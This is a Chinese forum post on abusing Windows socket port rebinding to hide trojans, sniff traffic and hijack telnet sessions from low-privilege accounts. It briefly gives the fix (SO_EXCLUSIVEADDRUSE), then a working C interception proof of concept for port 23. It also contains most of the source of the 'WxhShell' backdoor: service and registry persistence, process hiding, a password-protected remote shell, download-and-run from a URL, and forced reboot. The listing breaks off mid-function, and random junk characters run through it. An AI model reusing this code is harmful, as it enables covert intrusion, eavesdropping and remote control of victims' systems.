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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: BA6(Owb  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Aryp!oW  
?P%-p  
  saddr.sin_family = AF_INET; % 4Gt^:J"  
d^+0=_[PmK  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $z[@DB[  
^5n#hSqZ=M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %:!ILN  
<;lwvO  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ey@{Ng#  
c\le8C3  
  这意味着什么?意味着可以进行如下的攻击: i?:#lbw_  
-~Chf4?<4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~$jRn(2  
' >k1h.i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :ggXVwpe  
.(%]RSBY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -x VZm8y  
\gFV6 H?`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3jx/1VV  
Tvl"KVGm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  "SA*  
?3y>K!D(A  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]NyN@9u@(  
Ke^9R-jP  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 MG,)|XpyWJ  
ZV ;~IaBL  
  #include qH4+i STnV  
  #include t"nxny9&  
  #include 7nPjeh  
  #include    O>eg_K,c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kD me>E=  
  int main() t\WU}aKML  
  { fb[? sc  
  WORD wVersionRequested; %uz6iQaq]X  
  DWORD ret; 9I[k3  
  WSADATA wsaData; rV fZ_\|  
  BOOL val; {8"Uxj_6V  
  SOCKADDR_IN saddr; > zfFvx_q  
  SOCKADDR_IN scaddr; 3/ '5#$  
  int err; .sSbU^U  
  SOCKET s; jbe_r<{  
  SOCKET sc; ,B#*<_?E5  
  int caddsize; [ D"5@  
  HANDLE mt; uhU'm@JZ  
  DWORD tid;   /5X_gjOL,  
  wVersionRequested = MAKEWORD( 2, 2 ); 9\VV++}s>o  
  err = WSAStartup( wVersionRequested, &wsaData ); >eWORf>7  
  if ( err != 0 ) { PXF u  
  printf("error!WSAStartup failed!\n"); Vy6~O|68=  
  return -1; ^"iJ  
  } cs 58: G5  
  saddr.sin_family = AF_INET; K+ |0~/0  
   (QS 0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {s0!hp  
r72zWpF!Ss  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b%].D(qBy  
  saddr.sin_port = htons(23); 7ufTmz#j<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3X#Cep20a  
  { _:>t$* _  
  printf("error!socket failed!\n"); n-{.7  
  return -1; L]q%;u]8!  
  } P8[k1"c!  
  val = TRUE; \A6 }=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _ BoA&Ism  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]:}7-;$V  
  { iD<}r?Z  
  printf("error!setsockopt failed!\n"); %@8#+#@J0  
  return -1; p }e| E!  
  } 1'H!S%fS  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; QT=i>X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 G!Yt.M 0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 M5 P3;  
 81!gp7c  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t$b5,"G1  
  { <Y"HC a{  
  ret=GetLastError(); U, 8mYv2|  
  printf("error!bind failed!\n"); BKV:U\QZ  
  return -1; a1EQ.u  
  } 8Vy/n^3)  
  listen(s,2); "5v^6R9e  
  while(1) J&bMox  
  { F_&H*kL L3  
  caddsize = sizeof(scaddr); )d>Dcne  
  //接受连接请求 ,ZVhL* "  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }}l jVUpC%  
  if(sc!=INVALID_SOCKET) s^k<r;'\  
  { hcz!f  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w,j;XPp  
  if(mt==NULL) bAld'z#  
  { mnx`e>0  
  printf("Thread Creat Failed!\n"); ;M"[dy`dY  
  break; rH'|$~a  
  } B>[myx  
  } jhkX U+4  
  CloseHandle(mt); tF\_AvL_8  
  } ANfy+@  
  closesocket(s);  pLM?m  
  WSACleanup(); nd[Ja_h  
  return 0; l5D4 ?`|  
  }   GcG$>&,  
  DWORD WINAPI ClientThread(LPVOID lpParam) `/9I` <y  
  { Cq[Hh#q  
  SOCKET ss = (SOCKET)lpParam; 4ves|pLET  
  SOCKET sc; 1@9M[_<n5  
  unsigned char buf[4096]; X`fm5y  
  SOCKADDR_IN saddr; tBETNt7  
  long num; :\C/mT3xL)  
  DWORD val; h+S]C#X,}  
  DWORD ret; CF v]wS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 P0RtS1A  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >Bu _NoM  
  saddr.sin_family = AF_INET; wxN&k$`a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S4rm K&  
  saddr.sin_port = htons(23); DQ&\k'"\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Oc-ia)v1G  
  { _:FD#5BZ1  
  printf("error!socket failed!\n"); 24sQon  
  return -1; WXG0Z  
  } s#(7D3Pr#  
  val = 100; L* ScSxw  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p.H`lbVY  
  { IJC]Al,df  
  ret = GetLastError(); etQS&YzC  
  return -1; 5H,(\Xd  
  } i^8w0H<-@v  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /B|"<`-H  
  { CAmIwAx6;  
  ret = GetLastError(); ff=RKKnN  
  return -1; k5 *Z@a  
  } x3F94+<n{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7%G&=8tq  
  { _#uRKy<`N  
  printf("error!socket connect failed!\n"); jUDE)~h  
  closesocket(sc); %cJdVDW`L  
  closesocket(ss); q29d=  
  return -1; J4s`U/F  
  } /O`R9+;  
  while(1) @Fzw_qr M  
  { @jq H8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fAfB.|cd  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Z-yoJZi  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5kADvi.  
  num = recv(ss,buf,4096,0); 5DO}&%.xt  
  if(num>0) Vy^mEsQC+h  
  send(sc,buf,num,0); @1U6sQ  
  else if(num==0) D |fo:Xp,  
  break; Vt-V'`Y  
  num = recv(sc,buf,4096,0); ?j)#\s2  
  if(num>0) K)}Vr8,V  
  send(ss,buf,num,0); # %'%LY=  
  else if(num==0) RRzLQ7J  
  break; ~#)9Kl7<X  
  } bJkFCI/  
  closesocket(ss); rrq7UJ;  
  closesocket(sc); eLbh1L  
  return 0 ; a&dP@)  
  } r{_1M>F D!  
>GzH_]  
T'9M  
========================================================== qD /h/  
r"p"UW9og  
下边附上一个代码,,WXhSHELL SpOSUpl%  
]mjKF\  
========================================================== +;Gvp=hk  
e@& 2q{Gi=  
#include "stdafx.h" Z-M4J;J@}  
2wgcVQ Awa  
#include <stdio.h> 1_StgFu u  
#include <string.h> "{d[V(lE"  
#include <windows.h> [4@@b"H  
#include <winsock2.h> 8ZJ6~~h  
#include <winsvc.h> Z=< D`  
#include <urlmon.h> K6@ %@v  
FI)0.p  
#pragma comment (lib, "Ws2_32.lib") wo$ F_!3u  
#pragma comment (lib, "urlmon.lib") ;&kZ7%  
8%xiHPVg  
#define MAX_USER   100 // 最大客户端连接数 ~ H"-km"@  
#define BUF_SOCK   200 // sock buffer ey\(*Tu9  
#define KEY_BUFF   255 // 输入 buffer Hq>rK`  
O* )BJOPa  
#define REBOOT     0   // 重启 |/Y!R>El  
#define SHUTDOWN   1   // 关机 }:1qK67S  
I*mBU^<9V  
#define DEF_PORT   5000 // 监听端口 =/4}!B/  
T b*Q4:r"  
#define REG_LEN     16   // 注册表键长度 $-6[9d-N  
#define SVC_LEN     80   // NT服务名长度 IVeA[qA0  
.Np!Qp1*  
// 从dll定义API 4 XGEw9`3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AboRuHQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fSGaUBiq}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Fl"LK:)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #vViEBVeN  
g Eq6[G  
// wxhshell配置信息 a t=;}}X  
struct WSCFG { e`)zR'As  
  int ws_port;         // 监听端口 f9'dZ}B  
  char ws_passstr[REG_LEN]; // 口令  q ^Gj IP  
  int ws_autoins;       // 安装标记, 1=yes 0=no >R.!Qze\G  
  char ws_regname[REG_LEN]; // 注册表键名 ): r'IR  
  char ws_svcname[REG_LEN]; // 服务名 h*sL' fJ]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n:Dr< q .  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zP/SDW   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s8k4e6ak  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XHY,;4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L rV|Y~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "\M3||.!  
s5X51#J#~  
}; En0hjXa  
ENf(E9O  
// default Wxhshell configuration [kPl7[OL  
struct WSCFG wscfg={DEF_PORT, h9~oS/%:  
    "xuhuanlingzhe", _cJ\A0h^  
    1, x7xQrjE  
    "Wxhshell", C.se/\PE  
    "Wxhshell", mk6>}z*  
            "WxhShell Service", <u  
    "Wrsky Windows CmdShell Service", D@k#'KU  
    "Please Input Your Password: ", '2{60t_A  
  1, ntZHO}'  
  "http://www.wrsky.com/wxhshell.exe", a!PN`N28  
  "Wxhshell.exe" } OkK@8?0O  
    }; /EL3Tt  
8{Vt8>4  
// 消息定义模块 9v7}[`^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3p'(E\VJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2 F ~SH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lW]&a"1$  
char *msg_ws_ext="\n\rExit."; %B| Ca&  
char *msg_ws_end="\n\rQuit."; <S0gIg`)  
char *msg_ws_boot="\n\rReboot..."; NF7+Gp6?q  
char *msg_ws_poff="\n\rShutdown..."; $@[Mo   
char *msg_ws_down="\n\rSave to "; R5<:3tk=X  
|lVi* 4za%  
char *msg_ws_err="\n\rErr!"; vnX~OVz2  
char *msg_ws_ok="\n\rOK!"; 8=mx5Gwz-  
tpP68)<ns  
char ExeFile[MAX_PATH]; 0rc'SEl  
int nUser = 0; jfZ)  
HANDLE handles[MAX_USER]; _~!c%_  
int OsIsNt; @rr\Jf""z  
hr g'Z5n  
SERVICE_STATUS       serviceStatus; ;Udx|1o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <In+V  
x0xQFlGk  
// 函数声明 m\K1Ex  
int Install(void); a%wa3N=v  
int Uninstall(void); /qd~|[Kx:  
int DownloadFile(char *sURL, SOCKET wsh); rP}0B/  
int Boot(int flag); `QT9W-0e^  
void HideProc(void); Q?dzro4C  
int GetOsVer(void); "}< baz  
int Wxhshell(SOCKET wsl); P_M!h~  
void TalkWithClient(void *cs);  Lvn+EM  
int CmdShell(SOCKET sock); _,*QJ  
int StartFromService(void); #?bOAWAwLh  
int StartWxhshell(LPSTR lpCmdLine); 2*zMLI0.  
nB%[\LtZ?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >< Qp%yT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IpVtbDW  
U@)WTH6d  
// 数据结构和表定义 7#9fcfL  
SERVICE_TABLE_ENTRY DispatchTable[] = ~8[`(/hj  
{ j8ac8J,}c  
{wscfg.ws_svcname, NTServiceMain}, RNX>I,2sh  
{NULL, NULL} CbT ;#0  
}; wd Di5-A4  
tj tN<y  
// 自我安装 &lB>G[t  
int Install(void) +)7h)uq  
{ F>5)Clq  
  char svExeFile[MAX_PATH]; <ceJ!"L  
  HKEY key; t;lK=m|  
  strcpy(svExeFile,ExeFile); 4n2*2 yTg  
44UN*_qG  
// 如果是win9x系统,修改注册表设为自启动 n5?7iU&JIo  
if(!OsIsNt) { prVqV-S6TY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;oRgg'k<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ABhQ7 x|  
  RegCloseKey(key); p1,.f&(f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z-`4DlJUS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8|rlP  
  RegCloseKey(key); 7*47mJyc  
  return 0; }kk[lvhJ  
    }  Kuh)3/7  
  } p[D,.0SuC  
} l/bZE.GJ  
else { K)9f\1\  
V_T~5%9Fy  
// 如果是NT以上系统,安装为系统服务 qWI8 >my11  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *BQy$dfE  
if (schSCManager!=0) Aj@t*3  
{ Qf|c^B  
  SC_HANDLE schService = CreateService e]smnf  
  ( 6+yA4pRSd  
  schSCManager, SCXtBZ`.G  
  wscfg.ws_svcname, Q% J!  
  wscfg.ws_svcdisp, <GoZ>  
  SERVICE_ALL_ACCESS, tnw6[U!rh=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CSMx]jbb  
  SERVICE_AUTO_START, [3(lk_t  
  SERVICE_ERROR_NORMAL, R9%"Kxm  
  svExeFile, N1'$;9 c  
  NULL, '6Yx03t  
  NULL, us^J! s7  
  NULL, c nV2}U/\  
  NULL, '_o(I  
  NULL $(pVE}J  
  ); 6/L34VH  
  if (schService!=0) <7J\8JR&=  
  { ]U3@V#*  
  CloseServiceHandle(schService); A,%NdM;t=5  
  CloseServiceHandle(schSCManager); J|dj`Z ?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @86I|cY  
  strcat(svExeFile,wscfg.ws_svcname); ef -PlGn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qjLFgsd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ert` ]s~  
  RegCloseKey(key); DgC;1U'  
  return 0; W/<C$T4  
    } 93y!x}  
  } lhJZPnx~  
  CloseServiceHandle(schSCManager); &y:SK)  
} /??nO Vvt  
} +rOd0?  
6ieP` bct  
return 1; 'E#Bz"T  
}  x5W. 3*  
<z-+{-?z~  
// 自我卸载 rs:a^W5t  
int Uninstall(void) SR { KL#NC  
{ Bl v @u?  
  HKEY key; -<aN$O  
DsGtc<l%  
if(!OsIsNt) { -Deqlaf(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7cZ(gdQ/  
  RegDeleteValue(key,wscfg.ws_regname); 9K_p4 mq  
  RegCloseKey(key); X h"8uJD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |ea}+N  
  RegDeleteValue(key,wscfg.ws_regname); Cb;49;q  
  RegCloseKey(key); *`bAu *  
  return 0; 4'0rgS  
  } bJ9K!6s??`  
} 33b 3v\N  
} BW&)Zz  
else { _.3O(?p,  
5KwT(R o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .06[*S  
if (schSCManager!=0) u6~/" _FwY  
{ _0qp!-l}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Py-}tFr  
  if (schService!=0) _tpqo>  
  { Y'2 |GJc2  
  if(DeleteService(schService)!=0) { lAx^!#~\  
  CloseServiceHandle(schService); +(J{~A~  
  CloseServiceHandle(schSCManager); ?ZT+4U00U  
  return 0; ($Ck5`_MK  
  } H6]z98  
  CloseServiceHandle(schService); wdTjJf r  
  } Ce_E S.  
  CloseServiceHandle(schSCManager); $${9 %qPzb  
} D$G:#z*  
} R(N5K4J  
X2hyxTOp  
return 1; uvj`r5ei  
} B]5G"4,  
".T&nS[z  
// 从指定url下载文件 YCEdt>5PA  
int DownloadFile(char *sURL, SOCKET wsh) <GRrw  
{ MLn\ b0  
  HRESULT hr; :I^I=A%Pe(  
char seps[]= "/"; SFx|9$hXm  
char *token; UBve a(z-#  
char *file; C.oC@P  
char myURL[MAX_PATH]; u.L{3gkT  
char myFILE[MAX_PATH]; zQ~8(E]Rf  
uP veAK}h  
strcpy(myURL,sURL); q3-V_~5^/z  
  token=strtok(myURL,seps); OMVK\_oXo  
  while(token!=NULL) UFY_.N~  
  { 0*}%v:uN9  
    file=token; k874tD  
  token=strtok(NULL,seps); x6={)tj  
  } !`?*zf  
[agp06 $D?  
GetCurrentDirectory(MAX_PATH,myFILE); Q7@.WG5  
strcat(myFILE, "\\"); o$+"{3svw?  
strcat(myFILE, file); x*2'I  
  send(wsh,myFILE,strlen(myFILE),0); !/Wp0E'A  
send(wsh,"...",3,0); or{X{_X7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %>Y86>mVz  
  if(hr==S_OK) ]S#m o  
return 0; h#!u"'JW  
else ~]&,v|g&  
return 1; l d4#jV ei  
-<Zs7(  
} S8$kxQg  
p?,:  
// 系统电源模块 R#UcwX}o  
int Boot(int flag) fd} U l  
{ |T@\ -8Ok  
  HANDLE hToken; ^+20e3 ~Y  
  TOKEN_PRIVILEGES tkp; 1JXa/f+  
Q]d3a+dK  
  if(OsIsNt) {  ^q=D!g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _@Le MNv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {(,[  
    tkp.PrivilegeCount = 1; k9pOY]_Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o:irwfArv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,3tcti~sZ  
if(flag==REBOOT) { pk0C x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V)8d1S  
  return 0; ,Bg)p_B  
} qFD#D_O6  
else { UBy< vwnU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PtT=HvP!k  
  return 0; N-4k 9l1  
} \KJ\>2Y  
  } D-<9kBZs  
  else { 8Vb.%f &I  
if(flag==REBOOT) { 1JI\e6]I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v2uyn  
  return 0; HX77XTy  
} |nFg"W  
else { 8 aHs I(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q`8M9-~  
  return 0; H=j&uv8  
} DZI:zsf;5Q  
} J<4 egk4  
oSOO5dk:z  
return 1; xF4>D!T%8  
} tgPx!5U  
Rr|&~%#z  
// win9x进程隐藏模块 {:;599l  
void HideProc(void) *$I5_A8,.  
{ D+ )R_  
=E?!!EIq.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |E YJbL;1%  
  if ( hKernel != NULL ) ]'2;6%. 4  
  { LK1 r@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VdZmrq;?/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8> -3G  
    FreeLibrary(hKernel); o"a~  
  } [o0Z; }fU  
y,D4b6  
return; 6:v$g  
} cJnAwIs_e`  
}  :@s  
// 获取操作系统版本 >K2Md*[P3q  
int GetOsVer(void) (\UA+3$4  
{ YGj3W.eH  
  OSVERSIONINFO winfo; ^/<0r] =  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3k J8Wn  
  GetVersionEx(&winfo); dDAI fe2y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VQQtxHTC3  
  return 1; K38A;=t9  
  else T7!"gJ  
  return 0; 0 =2D 90  
} ;%_fQNFb  
8Q%rBl.  
// 客户端句柄模块 J4-64t nZ  
int Wxhshell(SOCKET wsl) zdoJ+zRtK  
{ JIl<4 %A  
  SOCKET wsh; oP$l(k  
  struct sockaddr_in client; $cxulcay=  
  DWORD myID; ecoi4f  
i+2fWi6Z+  
  while(nUser<MAX_USER) Z*}5M4  
{ rl0sN5n  
  int nSize=sizeof(client); ~e ,D`Lv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i9qn_/<c  
  if(wsh==INVALID_SOCKET) return 1; =-r[ s%t &  
yH'vhtop  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *h`%u8/{  
if(handles[nUser]==0) 2&f] v`|M|  
  closesocket(wsh); l.#iMi(@p~  
else *<PQp   
  nUser++; $R'  
  } L|7F%oR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q!%4Iq%jr  
"t-u=aDl-.  
  return 0; b#:Pl`n6u  
} :jol Nl|a  
/$ -^k[%  
// 关闭 socket vakAl;  
void CloseIt(SOCKET wsh) b>B.3E\Pc  
{ dc .oK4G}  
closesocket(wsh); :Kl~hzVSOa  
nUser--; 1kG{z;9  
ExitThread(0); |hp_<F9.  
} \BV$p2m5-  
\B0,?_i  
// 客户端请求句柄 WW'8&:x  
void TalkWithClient(void *cs) k}5Sz  
{ 5ayM}u%\~  
^r u1QDT  
  SOCKET wsh=(SOCKET)cs; n( |~z   
  char pwd[SVC_LEN]; 8| 6:  
  char cmd[KEY_BUFF]; yA8e"$  
char chr[1]; s<i& q {r  
int i,j; BM(8+Wj  
]}3AP!:  
  while (nUser < MAX_USER) { zHI_U\"8D  
=@ '>|-w|  
if(wscfg.ws_passstr) { TTS.wBpR,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u7_IO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U;Iqz1S  
  //ZeroMemory(pwd,KEY_BUFF); ^^u{W|'CaH  
      i=0; %nTgrgS(=  
  while(i<SVC_LEN) { _B@=fY(g!  
g:l5,j.K  
  // 设置超时 woctnT%"Q/  
  fd_set FdRead; nN=o/zd  
  struct timeval TimeOut; -R^OYgF  
  FD_ZERO(&FdRead); u~| D;e  
  FD_SET(wsh,&FdRead); x<m{B@3T  
  TimeOut.tv_sec=8; t:DZow  
  TimeOut.tv_usec=0; +:hZ,G?>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {bxTODt@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }klET   
J YA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  k3[%pS  
  pwd=chr[0]; +1Qa7 \  
  if(chr[0]==0xd || chr[0]==0xa) { *o}LI6_u  
  pwd=0; [jPUAr}  
  break; `D0>L '  
  } jE /pba4R  
  i++; "f/Su(6{0  
    } '[E|3K5d  
(]JZ1s|  
  // 如果是非法用户,关闭 socket or?@Ti;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Vv"JN?dHi  
} aZ[ aZU  
1:7 uS.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~ .}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PSOW}Y|q  
SLzxF uV  
while(1) { 8 JOfx  
'y(;:Kc  
  ZeroMemory(cmd,KEY_BUFF); E?{{z4  
?;s}GpEY:  
      // 自动支持客户端 telnet标准   njbEw4nX  
  j=0; hJr cy!P<a  
  while(j<KEY_BUFF) { a J%&Y5L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %?GLMf7)  
  cmd[j]=chr[0]; g"Eg=CU  
  if(chr[0]==0xa || chr[0]==0xd) { -dCM eC  
  cmd[j]=0; 334UMH__  
  break; y\=(;]S'  
  } -8j<`(M' 5  
  j++; D(EY"s37  
    } sFd"VRAV~E  
"|{3V:e>a  
  // 下载文件 < r6e23  
  if(strstr(cmd,"http://")) { av-l_iE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {s=n "*Qp)  
  if(DownloadFile(cmd,wsh)) zG\g{cB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2~:jg1  
  else E5-f{Qc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v9<7=D&x  
  } 8db J'  
  else { @8IY J{=  
K+9oV[DMs  
    switch(cmd[0]) { (7C&I- l  
  gmU_# J%~  
  // 帮助 'S_kD! BO  
  case '?': { wz!a;]agg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^tWt"GgC  
    break; udRum7XW 3  
  } u/`jb2eEU:  
  // 安装 yc./:t1at>  
  case 'i': { >(v%"04|e  
    if(Install()) ?^F*M#%?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K k 5 vC{  
    else H+^93  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5|&:l8=  
    break; s0,\[rM  
    } *?;<buJb?  
  // 卸载 OYcf+p"<\  
  case 'r': { JfJUOaL  
    if(Uninstall()) KmuE#Ia  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Wh} W((L  
    else qo1eHn4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6XVr-ef  
    break; _{.=zv|3  
    } 5hNjJqu  
  // 显示 wxhshell 所在路径 1J}i :i&  
  case 'p': { x?hdC)#DWI  
    char svExeFile[MAX_PATH]; bU`Ih# q  
    strcpy(svExeFile,"\n\r"); Vb${Oy+  
      strcat(svExeFile,ExeFile); PQl a-  
        send(wsh,svExeFile,strlen(svExeFile),0); Mx ?{[zT"  
    break; Sq9I]A  
    } O>zPWVwa  
  // 重启 HOWm""IkB  
  case 'b': { $"P9I-\m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R<}WNZl  
    if(Boot(REBOOT)) E0K'|*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <E2+P,Lgw  
    else { 4@,d{qp~  
    closesocket(wsh); B7:8%r/  
    ExitThread(0); *gu4%  
    } em^|E73  
    break; pdcP;.   
    } ]Y#$!fIx  
  // 关机 Ri$wt.b  
  case 'd': { Qo*,2B9R L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JCjQR`)  
